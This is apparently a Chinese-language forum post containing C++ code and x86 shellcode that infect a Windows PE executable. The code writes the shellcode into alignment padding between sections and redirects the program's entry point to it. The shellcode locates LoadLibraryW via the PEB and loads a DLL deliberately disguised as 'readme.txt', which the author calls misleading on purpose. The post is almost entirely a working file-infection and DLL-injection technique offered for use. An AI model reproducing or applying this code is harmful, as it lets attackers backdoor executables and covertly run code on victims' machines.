嘿嘿，写shellcode直接定位LoadLibrary动态加载你需要引入的dll。
//下面的代码是通过寻找区段间因为对齐而产生的NULL空区域，然后写入Shellcode，shellcode的作用是定位kernel32.dll中的loadlibraryw然后动态加载dll，dll文件名为 readme.txt，起的名字有点迷惑性，你懂的。用的时候，记得将要注入的dll 写成readme.txt的名字
示例代码如下:
BOOL InjectPe(PCHAR pefile)
{
LPVOID lpbase = FileMap(pefile);
if (lpbase==NULL) return FALSE;
pdos = (PIMAGE_DOS_HEADER)lpbase;
pnt = (PIMAGE_NT_HEADERS)((PBYTE)lpbase + pdos->e_lfanew);
DWORD dwOep = pnt->OptionalHeader.ImageBase + pnt->OptionalHeader.AddressOfEntryPoint;
pfirst = (PIMAGE_SECTION_HEADER)((PBYTE)lpbase + pdos->e_lfanew + sizeof(IMAGE_NT_SIGNATURE) + sizeof(IMAGE_FILE_HEADER)
+ pnt->FileHeader.SizeOfOptionalHeader);
//判断代码段中的零区域
DWORD dwCode = (pfirst + 1)->VirtualAddress - pfirst->VirtualAddress - pfirst->Misc.VirtualSize;
DWORD dwNullRva = pfirst->VirtualAddress + pfirst->Misc.VirtualSize;
cout<<hex<<pfirst->Name<<": "<< dwNullRva + pnt->OptionalHeader.ImageBase<<" size:"<<dwCode<<endl;
if (dwCode <= 0x82)
{
cout<<"not enough space to write !"<<endl;
UnmapViewOfFile(pe.lpbase);
CloseHandle(pe.hmap);
CloseHandle(pe.hfile);
return FALSE;
}
CHAR shellcode[200] = "\x68\x90\x90\x90\x90"
"\x60\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x8B"
"\xE8\x8B\x45\x3C\x8B\x54\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\x49\x8B\x34\x8B\x03"
"\xF5\xB8\x4C\x6F\x61\x64\x39\x06\x75\xF1\xB8\x4C\x69\x62\x72\x39\x46\x04\x75\xE7\x8B\x5A\x24"
"\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x6A\x00\x68\x78\x00\x74\x00"
"\x68\x2E\x00\x74\x00\x68\x6D\x00\x65\x00\x68\x61\x00\x64\x00\x68\x72\x00\x65\x00\x8B\xDC\x53"
"\xFF\xD0\x83\xC4\x18\x61\xC3";
DWORD dwSecOffset = pfirst->VirtualAddress - pfirst->PointerToRawData;
DWORD dwNullOffset = dwNullRva - dwSecOffset;
//更改OEP
*(DWORD*) & shellcode[1] = dwOep;
SetFilePointer(pe.hfile,dwNullOffset,NULL,FILE_BEGIN);
DWORD dwReal = 0;
WriteFile(pe.hfile,shellcode,200,&dwReal,NULL);
//更新入口点
pnt->OptionalHeader.AddressOfEntryPoint = dwNullRva;
UnmapViewOfFile(pe.lpbase);
CloseHandle(pe.hmap);
CloseHandle(pe.hfile);
return TRUE;
}
